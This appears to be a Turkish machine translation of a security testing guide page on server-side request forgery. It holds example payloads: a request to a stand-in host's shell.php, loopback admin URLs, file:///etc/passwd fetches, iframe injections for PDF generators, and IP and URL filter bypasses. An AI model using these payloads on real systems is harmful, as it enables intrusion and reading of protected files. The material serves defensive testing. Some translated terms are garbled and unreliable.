Testing for Server-Side Request Forgery (Sunucu Tarafı İstek Sahteciliği Testi)

Summary (Özet)

Web uygulamaları genellikle iç veya dış kaynaklarla etkileşime girer. Sadece amaçlanan kaynağın gönderdiğiniz verileri ele alacağını bekleyebilirsiniz, ancak yanlış ele alınan veriler enjeksiyon
saldırılarının mümkün olduğu bir durum yaratabilir. Bir tür enjeksiyon saldırısının Server tarafındaki Forgery İstek (SSRF) olarak adlandırılır. Başarılı bir SSRF saldırısı, saldırgana uygulama veya
kuruluş içindeki sınırlı eylemlere, dahili hizmetlere veya dahili dosyalara erişim izni verebilir. Bazı durumlarda, Uzaktan Kod İnfazına (RCE) bile yol açabilir.

Test Objectives (Test Hedefleri)

- SSRF enjeksiyon noktalarını belirleyin.
- Enjeksiyon noktalarının sömürülebilir olup olmadığını test edin.
- Kırılganlığın ciddiyetini ortadan kaldırır.

How to Test (Nasıl Test Edilir)

SSRF için test yaparken, hedeflenen sunucuyu yanlışlıkla yüklemeye veya kötü amaçlı olabilecek içeriği kaydetmeye çalışırsınız. En yaygın test yerel ve uzaktan dosya dahil edilmesi içindir. SSRF'nin başka bir yönü de vardır: uygulama sunucusunun kullanıcılar tarafından doğrudan ulaşılamayan diğer arka uç sistemlerle etkileşime girebildiği yerlerde sıklıkla ortaya çıkan bir güven ilişkisi. Bu arka uç sistemleri genellikle yönlendirilemeyen özel IP adreslerine sahiptir veya belirli
konakçılarla sınırlıdır. Ağ topolojisi tarafından korunduklarından, genellikle daha sofistike kontrollerden yoksundurlar. Bu dahili sistemler genellikle hassas veriler veya işlevsellik içerir.

Aşağıdaki isteği göz önünde bulundurun:

`GET https://example.com/page?page=about.php`

Bu talebi aşağıdaki yüklerle test edebilirsiniz.

Load the Contents of a File (Bir Dosyanın İçeriğini Yükleyin)

`GET https://example.com/page?page=https://malicioussite.com/shell.php`

Access a Restricted Page (Kısıtlı Bir Sayfaya Erişin)

`GET https://example.com/page?page=http://localhost/admin`

Ya da:

`GET https://example.com/page?page=http://127.0.0.1/admin`

Yalnızca ana bilgisayarla sınırlı içeriğe erişmek için loopback arayüzünü kullanın. Bu mekanizma, ana bilgisayara erişiminiz varsa, doğrudan erişme ayrıcalığınıza da sahip olduğunuzu ima eder. `admin` Sayfa.Yerel makineden kaynaklanan taleplerin sıradan isteklerden farklı şekilde ele alındığı bu tür güven ilişkileri, genellikle SSRF'nin kritik bir güvenlik açığı olmasını sağlayan şeydir.

Fetch a Local File (Yerel bir dosya alın)

`GET https://example.com/page?page=file:///etc/passwd`

HTTP Methods Used (Kullanılan HTTP Yöntemleri)

Yukarıdaki tüm yükler herhangi bir HTTP isteği türüne uygulanabilir ve ayrıca başlık ve çerez değerlerine de enjekte edilebilir.

POST istekleri ile SSRF ile ilgili önemli bir not, SSRF'nin de kör bir şekilde tezahür edebileceğidir, çünkü uygulama hemen hiçbir şey iade etmeyebilir. Bunun yerine, enjekte edilen veriler PDF raporları, fatura veya sipariş işleme vb. gibi diğer işlevlerde kullanılabilir, bu da çalışanlar veya personel tarafından görülebilir, ancak nihai kullanıcı veya test cihazına göre değil.

Blind SSRF'de daha fazlasını burada veya referanslar bölümünde bulabilirsiniz.

PDF Generators (PDF Jeneratörler)

Bazı durumlarda, bir sunucu yüklenen dosyaları PDF formatına dönüştürebilir. Enjekte etmeyi deneyin `<iframe>`, `<img>`, `<base>`, ya da `<script>` öğeleri veya CSS `url()` İç hizmetlere işaret eden fonksiyonlar.

```
<iframe src="file:///etc/passwd" width="400" height="400">
<iframe src="file:///c:/windows/win.ini" width="400" height="400">
```

Common Filter Bypass (Yaygın Filtre Bypass)

Bazı uygulamalar referansları engelliyor `localhost` ve `127.0.0.1`. . Bu durum:

- Değerlendirmeyi değerlendiren alternatif IP temsili kullanmak `127.0.0.1`: :
  - Demal notasyon: `2130706433`
  - Oyklama notasyonu: `017700000001`
  - IP kısaltma: `127.1`
- Dize gizlenme
- Çözünür olan kendi etki alanınızı kaydetmek `127.0.0.1`

Bazen uygulama, bir alan adı gibi belirli bir ifadeyle eşleşen girdiye izin verir. URL şeması parser düzgün bir şekilde uygulanmazsa bu durum kesilebilir ve bu da semantik saldırılara benzer saldırılara neden olur.

- Kullanmak için `@` Kullanıcınınfo ile ev sahibi arasında ayrım yapmak için karakter: `https://expected-domain@attacker-domain`
- URL ile parçalanma `#` Karakter: `https://attacker-domain#expected-domain`
- URL kodlama
- Bulanıklık
- Yukarıdakilerin hepsinin kombinasyonları

Ek yükler ve bypass teknikleri için referanslar bölümüne bakın.

Remediation (Düzeltme)

SSRF'nin, belirli IP'lerin ve URL'lerin izin verilmesini gerektiren izin listelerinin kullanılmadan yenmesi en zor saldırılardan biri olduğu bilinmektedir. SSRF önleme konusunda daha fazla bilgi için, Sunucu Tarafı İstek Sahteciliği Önleme Hile sayfasını okuyun.

References (Referanslar)

- swisskyrepo: SSRF Payloads
- Reading Internal Files Using SSRF Vulnerability
- Abusing the AWS Metadata Service Using SSRF Vulnerabilities
- OWASP Server Side Request Forgery Prevention Cheatsheet
- Portswigger: SSRF
- Portswigger: Blind SSRF
- Bugcrowd Webinar: SSRF
- Hackerone Blog: SSRF
- Hacker101: SSRF
- URI Generic Syntax